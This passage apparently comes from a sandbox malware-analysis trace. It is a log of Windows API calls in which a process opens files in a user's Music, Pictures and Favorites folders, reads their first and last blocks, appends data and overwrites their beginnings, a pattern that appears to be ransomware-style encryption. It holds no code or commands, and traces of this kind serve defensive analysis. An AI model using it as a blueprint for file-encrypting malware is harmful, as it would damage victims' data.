lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.161] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.161] ReleaseMutex (hMutex=0x128) returned 1 [0051.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft At Home.url", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0051.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft At Home.url", cchWideChar=21, lpMultiByteStr=0x1e7894c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft At Home.url", lpUsedDefaultChar=0x0) returned 21 [0051.161] ReadFile (in: hFile=0x170, lpBuffer=0x257e1e8, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e1e8*, lpNumberOfBytesRead=0x2f4f2bc*=0x85, lpOverlapped=0x0) returned 1 [0051.170] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0051.170] WriteFile (in: hFile=0x170, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2f4f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0051.170] CloseHandle (hObject=0x170) returned 1 [0051.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.696] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.696] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x85 [0051.696] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.696] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.696] ReleaseMutex (hMutex=0x128) returned 1 [0051.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Gallery.url", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0051.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Gallery.url", cchWideChar=24, lpMultiByteStr=0x1e7fd8c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Live Gallery.url", lpUsedDefaultChar=0x0) returned 24 [0051.696] ReadFile (in: hFile=0x198, lpBuffer=0x257e318, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e318*, lpNumberOfBytesRead=0x2f4f2bc*=0x85, lpOverlapped=0x0) returned 1 [0051.697] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0051.697] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0051.697] CloseHandle (hObject=0x198) returned 1 [0051.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3jyUe_0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\3jyue_0.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.697] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.697] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x28dc [0051.697] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.697] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.698] ReleaseMutex (hMutex=0x128) returned 1 [0051.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3jyUe_0.m4a", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3jyUe_0.m4a", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3jyUe_0.m4a", lpUsedDefaultChar=0x0) returned 11 [0051.698] ReadFile (in: hFile=0x198, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.698] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x18dc [0051.698] ReadFile (in: hFile=0x198, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.698] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x18dc [0051.699] WriteFile (in: hFile=0x198, lpBuffer=0x261b6a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.699] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0051.699] WriteFile (in: hFile=0x198, lpBuffer=0x276d388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.699] CloseHandle (hObject=0x198) returned 1 [0051.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GGPqE2IEVgHTFIgXl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ggpqe2ievghtfigxl.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.699] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.699] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x723c [0051.700] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.700] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.700] ReleaseMutex (hMutex=0x128) returned 1 [0051.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GGPqE2IEVgHTFIgXl.mp3", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0051.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GGPqE2IEVgHTFIgXl.mp3", cchWideChar=21, lpMultiByteStr=0x1e7894c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GGPqE2IEVgHTFIgXl.mp3", lpUsedDefaultChar=0x0) returned 21 [0051.700] ReadFile (in: hFile=0x198, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.700] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x623c [0051.700] ReadFile (in: hFile=0x198, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.701] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x623c [0051.701] WriteFile (in: hFile=0x198, lpBuffer=0x261b6a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.701] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0051.701] WriteFile (in: hFile=0x198, lpBuffer=0x276d388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.702] CloseHandle (hObject=0x198) returned 1 [0051.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\qeOm-LH-NE2HQzo.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qeom-lh-ne2hqzo.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.705] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.706] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xf137 [0051.706] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.706] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.706] ReleaseMutex (hMutex=0x128) returned 1 [0051.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="qeOm-LH-NE2HQzo.m4a", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0051.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="qeOm-LH-NE2HQzo.m4a", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qeOm-LH-NE2HQzo.m4a", lpUsedDefaultChar=0x0) returned 19 [0051.706] ReadFile (in: hFile=0x198, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.711] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xe137 [0051.711] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.712] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xe137 [0051.713] WriteFile (in: hFile=0x198, lpBuffer=0x2808d28*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2808d28*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.713] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0051.713] WriteFile (in: hFile=0x198, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.713] CloseHandle (hObject=0x198) returned 1 [0051.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xeBrd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xebrd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.727] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.727] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa63a [0051.727] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.727] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.727] ReleaseMutex (hMutex=0x128) returned 1 [0051.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="xeBrd.wav", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="xeBrd.wav", cchWideChar=9, lpMultiByteStr=0x1e6340c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xeBrd.wav", lpUsedDefaultChar=0x0) returned 9 [0051.729] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.734] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x963a [0051.736] ReadFile (in: hFile=0x198, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.740] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x963a [0051.740] WriteFile (in: hFile=0x198, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.740] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0051.740] WriteFile (in: hFile=0x198, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.740] CloseHandle (hObject=0x198) returned 1 [0051.741] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\eGHU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\eghu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.742] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.742] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x104e8 [0051.746] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.746] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.747] ReleaseMutex (hMutex=0x128) returned 1 [0051.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eGHU.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0051.747] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eGHU.png", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eGHU.png", lpUsedDefaultChar=0x0) returned 8 [0051.749] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.750] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf4e8 [0051.750] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.750] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf4e8 [0051.750] WriteFile (in: hFile=0x198, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.751] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0051.751] WriteFile (in: hFile=0x198, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.751] CloseHandle (hObject=0x198) returned 1 [0051.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\M kOWd2vSyzq.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\m kowd2vsyzq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.751] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.751] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x10573 [0051.751] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.751] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.751] ReleaseMutex (hMutex=0x128) returned 1 [0051.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="M kOWd2vSyzq.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="M kOWd2vSyzq.png", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M kOWd2vSyzq.png", lpUsedDefaultChar=0x0) returned 16 [0051.751] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.752] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf573 [0051.752] ReadFile (in: hFile=0x198, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.752] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf573 [0051.752] WriteFile (in: hFile=0x198, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.753] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0051.753] WriteFile (in: hFile=0x198, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.753] CloseHandle (hObject=0x198) returned 1 [0051.753] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.753] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.753] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x20c [0051.753] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.753] ReleaseMutex (hMutex=0x128) returned 1 [0051.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0051.753] ReadFile (in: hFile=0x198, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x20c, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: 